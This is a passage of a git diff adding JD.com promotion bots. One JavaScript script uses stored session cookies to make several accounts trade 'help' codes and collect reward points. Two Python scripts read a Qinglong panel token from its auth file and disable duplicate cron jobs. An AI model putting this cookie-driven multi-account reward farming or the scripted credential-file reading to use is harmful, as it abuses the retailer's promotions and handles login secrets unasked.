t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health_help.js b/jd_health_help.js new file mode 100644 index 0000000..e3a644f --- /dev/null +++ b/jd_health_help.js @@ -0,0 +1,247 @@ +/* +东东健康社区 +更新时间:2021-4-22 +活动入口:京东APP首页搜索 "玩一玩"即可 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区 +5 4,14 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "5 4,14 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js, tag=东东健康社区 + +====================Surge================ +东东健康社区 = type=cron,cronexp="5 4,14 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js + +============小火箭========= +东东健康社区 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js, cronexpr="5 4,14 * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区内部互助"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ""; +let cookiesArr = [], cookie = "", allMessage = "", message; +let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : ''; +const randomCount = $.isNode() ? 20 : 5; +$.newShareCodes = []; +let UserShareCodes = ""; +function oc(fn, defaultVal) { //optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +function nc(val1, val2) { //nullish coalescing + return val1 ? val1 : val2 +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") + console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/"; + +let NowHour = new Date().getHours(); +let llhelp=true; + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (llhelp){ + console.log(`开始获取助力码....\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + await GetShareCode(); + } + } + } + console.log(`开始执行任务....\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await main() + await $.wait(3 * 1000) + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() +.catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); +}) +.finally(() => { + $.done(); +}); + +async function main() { + try { + $.score = 0; + $.earn = false; + await getTaskDetail(-1); + UserShareCodes = ""; + await getTaskDetail(6); + if (llhelp){ + await helpFriends(); + } + await getTaskDetail(-1); + + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) + continue; + if (UserShareCodes == code) + continue; + + console.log(`去助力好友${code}`); + let res = await doTask(code, 6); + if ([108, -1001].includes(oc(() => res.data.bizCode))) { + console.log(`助力次数已满,跳出`); + break; + } + await $.wait(1000); + } +} +function GetShareCode(taskId = 6) { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', { + "buildingId": "", + taskId: taskId === -1 ? '' : taskId, + "channelId": 1 + }), + async(err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data); + + if (oc(() => data.data.result.taskVos)) { + console.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + var strSharedcode = `${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}`; + $.newShareCodes.push(strSharedcode); + } + + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} + +function getTaskDetail(taskId = '') { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', { + "buildingId": "", + taskId: taskId === -1 ? '' : taskId, + "channelId": 1 + }), + async(err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (taskId === -1) { + let tmp = parseInt(parseFloat(nc(oc(() => data.data.result.userScore), '0'))) + if (!$.earn) { + $.score = tmp + $.earn = 1 + } else { + $.earn = tmp - $.score + $.score = tmp + } + } else if (taskId === 6) { + if (oc(() => data.data.result.taskVos)) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + UserShareCodes = `${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}`; + } + } + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'accept-language': 'zh-cn', + 'accept-encoding': 'gzip, deflate, br', + 'accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function doTask(taskToken, taskId, actionType = 0) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) + $.get(options, + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) { + $.canDo = true + if (oc(() => data.data.result.score)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.score) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_identical.py b/jd_identical.py new file mode 100644 index 0000000..9dd77f3 --- /dev/null +++ b/jd_identical.py @@ -0,0 +1,200 @@ +# -*- coding:utf-8 -*- +""" +cron: 50 * * * * +new Env('禁用重复任务'); +""" + +import json +import logging +import os +import sys +import time +import traceback + +import requests + +logger = logging.getLogger(name=None) # 创建一个日志对象 +logging.Formatter("%(message)s") # 日志内容格式化 +logger.setLevel(logging.INFO) # 设置日志等级 +logger.addHandler(logging.StreamHandler()) # 添加控制台日志 +# logger.addHandler(logging.FileHandler(filename="text.log", mode="w")) # 添加文件日志 + + +ipport = os.getenv("IPPORT") +if not ipport: + logger.info( + "如果报错请在环境变量中添加你的真实 IP:端口\n名称:IPPORT\t值:127.0.0.1:5700\n或在 config.sh 中添加 export IPPORT='127.0.0.1:5700'" + ) + ipport = "localhost:5700" +else: + ipport = ipport.lstrip("http://").rstrip("/") +sub_str = os.getenv("RES_SUB", "okyyds_yydspure_master") +sub_list = sub_str.split("&") +res_only = os.getenv("RES_ONLY", True) +headers = { + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", +} + + +def load_send() -> None: + logger.info("加载推送功能中...") + global send + send = None + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/notify.py"): + try: + from notify import send + except Exception: + send = None + logger.info(f"❌加载通知服务失败!!!\n{traceback.format_exc()}") + + +def get_tasklist() -> list: + tasklist = [] + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons?searchValue=&t={t}" + response = requests.get(url=url, headers=headers) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") == 200: + tasklist = datas.get("data") + return tasklist + + +def filter_res_sub(tasklist: list) -> tuple: + filter_list = [] + res_list = [] + for task in tasklist: + for sub in sub_list: + if task.get("command").find(sub) == -1: + flag = False + else: + flag = True + break + if flag: + res_list.append(task) + else: + filter_list.append(task) + return filter_list, res_list + + +def get_index(lst: list, item: str) -> list: + return [index for (index, value) in enumerate(lst) if value == item] + + +def get_duplicate_list(tasklist: list) -> tuple: + logger.info("\n=== 第一轮初筛开始 ===") + + ids = [] + names = [] + cmds = [] + for task in tasklist: + ids.append(task.get("_id")) + names.append(task.get("name")) + cmds.append(task.get("command")) + + name_list = [] + for i, name in enumerate(names): + if name not in name_list: + name_list.append(name) + + tem_tasks = [] + tem_ids = [] + dup_ids = [] + for name2 in name_list: + name_index = get_index(names, name2) + for i in range(len(name_index)): + if i == 0: + logger.info(f"【✅保留】{cmds[name_index[0]]}") + tem_tasks.append(tasklist[name_index[0]]) + tem_ids.append(ids[name_index[0]]) + else: + logger.info(f"【🚫禁用】{cmds[name_index[i]]}") + dup_ids.append(ids[name_index[i]]) + logger.info("") + + logger.info("=== 第一轮初筛结束 ===") + + return tem_ids, tem_tasks, dup_ids + + +def reserve_task_only( + tem_ids: list, tem_tasks: list, dup_ids: list, res_list: list +) -> list: + if len(tem_ids) == 0: + return tem_ids + + logger.info("\n=== 最终筛选开始 ===") + task3 = None + for task1 in tem_tasks: + for task2 in res_list: + if task1.get("name") == task2.get("name"): + dup_ids.append(task1.get("_id")) + logger.info(f"【✅保留】{task2.get('command')}") + task3 = task1 + if task3: + logger.info(f"【🚫禁用】{task3.get('command')}\n") + task3 = None + logger.info("=== 最终筛选结束 ===") + return dup_ids + + +def disable_duplicate_tasks(ids: list) -> None: + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons/disable?t={t}" + data = json.dumps(ids) + headers["Content-Type"] = "application/json;charset=UTF-8" + response = requests.put(url=url, headers=headers, data=data) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") != 200: + logger.info(f"❌出错!!!错误信息为:{datas}") + else: + logger.info("🎉成功禁用重复任务~") + + +def get_token() -> str or None: + try: + with open("/ql/config/auth.json", "r", encoding="utf-8") as f: + data = json.load(f) + except Exception: + logger.info(f"❌无法获取 token!!!\n{traceback.format_exc()}") + send("💔禁用重复任务失败", "无法获取 token!!!") + exit(1) + return data.get("token") + + +if __name__ == "__main__": + logger.info("===> 禁用重复任务开始 <===") + load_send() + token = get_token() + headers["Authorization"] = f"Bearer {token}" + + # 获取过滤后的任务列表 + sub_str = "\n".join(sub_list) + logger.info(f"\n=== 你选择过滤的任务前缀为 ===\n{sub_str}") + tasklist = get_tasklist() + if len(tasklist) == 0: + logger.info("❌无法获取 tasklist!!!") + exit(1) + filter_list, res_list = filter_res_sub(tasklist) + + tem_ids, tem_tasks, dup_ids = get_duplicate_list(filter_list) + # 是否在重复任务中只保留设置的前缀 + if res_only: + ids = reserve_task_only(tem_ids, tem_tasks, dup_ids, res_list) + else: + ids = dup_ids + logger.info("你选择保留除了设置的前缀以外的其他任务") + + sum = f"所有任务数量为:{len(tasklist)}" + filter = f"过滤的任务数量为:{len(res_list)}" + disable = f"禁用的任务数量为:{len(ids)}" + logging.info("\n=== 禁用数量统计 ===\n" + sum + "\n" + filter + "\n" + disable) + + if len(ids) == 0: + logger.info("😁没有重复任务~") + else: + disable_duplicate_tasks(ids) + if send: + send("💖禁用重复任务成功", f"\n{sum}\n{filter}\n{disable}") diff --git a/jd_identicalnew.py b/jd_identicalnew.py new file mode 100644 index 0000000..b597459 --- /dev/null +++ b/jd_identicalnew.py @@ -0,0 +1,203 @@ +# -*- coding:utf-8 -*- +""" +cron: 50 * * * * +new Env('禁用重复任务青龙2.11版本'); +""" + +import json +import logging +import os +import sys +import time +import traceback + +import requests + +logger = logging.getLogger(name=None) # 创建一个日志对象 +logging.Formatter("%(message)s") # 日志内容格式化 +logger.setLevel(logging.INFO) # 设置日志等级 +logger.addHandler(logging.StreamHandler()) # 添加控制台日志 +# logger.addHandler(logging.FileHandler(filename="text.log", mode="w")) # 添加文件日志 + + +ipport = os.getenv("IPPORT") +if not ipport: + logger.info( + "如果报错请在环境变量中添加你的真实 IP:端口\n名称:IPPORT\t值:127.0.0.1:5700\n或在 config.sh 中添加 export IPPORT='127.0.0.1:5700'" + ) + ipport = "localhost:5700" +else: + ipport = ipport.lstrip("http://").rstrip("/") +sub_str = os.getenv("RES_SUB", "okyyds_yydspure_master") +sub_list = sub_str.split("&") +res_only = os.getenv("RES_ONLY", True) +headers = { + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", +} + + +def load_send() -> None: + logger.info("加载推送功能中...") + global send + send = None + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/notify.py"): + try: + from notify import send + except Exception: + send = None + logger.info(f"❌加载通知服务失败!!!\n{traceback.format_exc()}") + + +def get_tasklist() -> list: + tasklist = [] + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons?searchValue=&t={t}" + response = requests.get(url=url, headers=headers) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") == 200: + tasklist = datas.get("data") + return tasklist + + +def filter_res_sub(tasklist: list) -> tuple: + filter_list = [] + res_list = [] + for task in tasklist: + for sub in sub_list: + if task.get("command").find(sub) == -1: + flag = False + else: + flag = True + break + if flag: + res_list.append(task) + else: + filter_list.append(task) + return filter_list, res_list + + +def get_index(lst: list, item: str) -> list: + return [index for (index, value) in enumerate(lst) if value == item] + + +def get_duplicate_list(tasklist: list) -> tuple: + logger.info("\n=== 第一轮初筛开始 ===") + + ids = [] + names = [] + cmds = [] + for task in tasklist: + ids.append(task.get("id")) + names.append(task.get("name")) + cmds.append(task.get("command")) + + name_list = [] + for i, name in enumerate(names): + if name not in name_list: + name_list.append(name) + + tem_tasks = [] + temids = [] + dupids = [] + for name2 in name_list: + name_index = get_index(names, name2) + for i in range(len(name_index)): + if i == 0: + logger.info(f"【✅保留】{cmds[name_index[0]]}") + tem_tasks.append(tasklist[name_index[0]]) + temids.append(ids[name_index[0]]) + else: + logger.info(f"【🚫禁用】{cmds[name_index[i]]}") + dupids.append(ids[name_index[i]]) + logger.info("") + + logger.info("=== 第一轮初筛结束 ===") + + return temids, tem_tasks, dupids + + +def reserve_task_only( + temids: list, tem_tasks: list, dupids: list, res_list: list +) -> list: + if len(temids) == 0: + return temids + + logger.info("\n=== 最终筛选开始 ===") + task3 = None + for task1 in tem_tasks: + for task2 in res_list: + if task1.get("name") == task2.get("name"): + dupids.append(task1.get("id")) + logger.info(f"【✅保留】{task2.get('command')}") + task3 = task1 + if task3: + logger.info(f"【🚫禁用】{task3.get('command')}\n") + task3 = None + logger.info("=== 最终筛选结束 ===") + return dupids + + +def disable_duplicate_tasks(ids: list) -> None: + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons/disable?t={t}" + data = json.dumps(ids) + headers["Content-Type"] = "application/json;charset=UTF-8" + response = requests.put(url=url, headers=headers, data=data) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") != 200: + logger.info(f"❌出错!!!错误信息为:{datas}") + else: + logger.info("🎉成功禁用重复任务~") + + +def get_token() -> str or None: + try: + path = '/ql/config/auth.json' # 设置青龙 auth文件地址 + if not os.path.isfile(path): + path = '/ql/data/config/auth.json' # 尝试设置青龙 auth 新版文件地址 + with open(path, "r", encoding="utf-8") as f: + data = json.load(f) + except Exception: + logger.info(f"❌无法获取 token!!!\n{traceback.format_exc()}") + send("💔禁用重复任务失败", "无法获取 token!!!") + exit(1) + return data.get("token") + + +if __name__ == "__main__": + logger.info("===> 禁用重复任务开始 <===") + load_send() + token = get_token() + headers["Authorization"] = f"Bearer {token}" + + # 获取过滤后的任务列表 + sub_str = "\n".join(sub_list) + logger.info(f"\n=== 你选择过滤的任务前缀为 ===\n{sub_str}") + tasklist = get_tasklist() + if len(tasklist) == 0: + logger.info("❌无法获取 tasklist!!!") + exit(1) + filter_list, res_list = filter_res_sub(tasklist) + + temids, tem_tasks, dupids = get_duplicate_list(filter_list) + # 是否在重复任务中只保留设置的前缀 + if res_only: + ids = reserve_task_only(temids, tem_tasks, dupids, res_list) + else: + ids = dupids + logger.info("你选择保留除了设置的前缀以外的其他任务") + + sum = 